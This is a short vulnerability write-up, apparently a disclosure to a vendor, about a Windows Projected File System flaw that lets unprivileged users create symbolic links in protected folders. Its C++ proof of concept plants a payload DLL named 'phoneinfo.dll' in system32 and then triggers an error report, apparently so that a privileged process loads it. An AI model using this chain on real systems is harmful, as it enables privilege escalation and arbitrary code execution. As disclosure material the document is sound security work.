### Projected file system - escalation of privilege

Virtualizing a folder requires the FILE\_WRITE\_ATTRIBUTES permission to set the reparse tag.

It would be logical to reason it is not possible to create placeholder files/symbolic links in folders the user cannot open with FILE\_WRITE\_ATTRIBUTES, but if a subfolder to a virtualized folder is a junction folder or symbolic link directory the link is followed blindly and the file is created in the target of the link folder regardless of the user having the required permission.

This enables unprivileged users to create placeholder files/symbolic links in any folder.

In the attached proof of concept a folder is created- it is virtualized and a symbolic link directory is created targeting system32.

Then a symbolic link targeting a dropped payload file is created in the subfolder- the result being a symbolic link is created in system32.

int main(int argc, const char\* args[])

try

{

x::writePayloadToFile< EMBEDDED\_PAYLOAD >("%LOCALAPPDATA%\\payload.dll"\_p);

x::file tmpFolder{ "%TEMP%"\_p / x::guid::random\_guid(), FILE\_READ\_ATTRIBUTES,FILE\_DIRECTORY\_FILE };

virtualRoot vroot{ tmpFolder.getFinalPath() };

vroot.makeSymlink("sub", L"C:\\windows\\system32", true);

vroot.makeSymlink("sub\\phoneinfo.dll", "%LOCALAPPDATA%\\payload.dll"\_p, false);

submitBlankReport();

return 0;

}

catch (wil::ResultException& e)

{

std::wcout << \_com\_error{ (HRESULT)RtlNtStatusToDosError(e.GetErrorCode()) }.ErrorMessage() << std::endl;

std::wcout << e.what() << std::endl;

}

catch (std::exception& e)

{

std::wcout << e.what() << std::endl;

}